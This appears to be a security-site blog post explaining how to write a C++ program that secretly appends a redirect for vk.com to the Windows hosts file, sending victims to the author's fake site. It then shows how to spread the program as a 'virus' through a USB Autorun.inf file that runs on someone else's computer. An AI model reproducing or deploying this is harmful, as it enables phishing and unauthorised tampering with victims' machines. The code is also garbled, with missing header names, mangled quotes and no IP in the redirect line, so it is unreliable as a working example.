Write a program to substitute hosts (with ++)

March 7, 2019 | Views: 1236

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

We write the program for substitution of hosts (with ++)

For a start, a little bit of information from google what is it


hosts – a text file containing a database of domain names and used when translating them into the network addresses of nodes. This file takes precedence over DNS servers. Unlike DNS, the contents of the file are controlled by the administrator of the computer.

tobish we will replace the dns server. for this we need a hosting with a dedicated ip.

(hereinafter we will put a fake on our site on the hosting)

and so we went to the writing of the program itself.

Open C ++. Click File – Create, Source File. A blank sheet appears. Start writing code.


#include // standard input / output stream.

#include // for working with files

using namespace std; // use the default namespace std.

int main () {/ * is the main function. It does not return anything, but the type of the main function can only be an int. void is impossible. * /

freopen (“C: / WINDOWS / system32 / drivers / etc / hosts”, “at”, stdout); / * here we are redirecting iostream to fstream with a record key. * /

unsigned int a = 0; // create a variable counter.

while (a <= 1000) {// create a loop

a ++; // which fills the hosts file

cout << ” n”; // thousand empty lines


cout << “ vk.com”; // this is the redirect string


cout << “ vk.com”; – here we change the type address to your fake ..

So. Now we have the code, it needs to be compiled. Click Run – Compile. Now in the folder that we specified there is an exe file. If you run it, then your hosts file will be added.

We create autostart of a virus through the USB stick.

To do this, transfer the resulting program to your flash drive. Next, create an Autorun.inf file on a flash drive.

Open it with a notebook and write.



shellexecute = program_name

Action = what_will_script_d_auto start

Icon = Icon

Label = flashfly name

Everything is ready) now when we insert the USB flash drive into someone’s computer, our program will open, change the hosts file and close.

Share with Friends
Use Cybytes and
Tip the Author!
Share with Friends
Ready to share your knowledge and expertise?
Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Support Cybrary

Donate Here to Get This Month's Donor Badge



Is Linux Worth Learning in 2020?
Views: 742 / December 14, 2019
How do I Get MTA Certified?
Views: 1314 / December 12, 2019
How much does your PAM software really cost?
Views: 1751 / December 10, 2019
How Do I Get into Android Development?
Views: 2141 / December 8, 2019

We recommend always using caution when following any link

Are you sure you want to continue?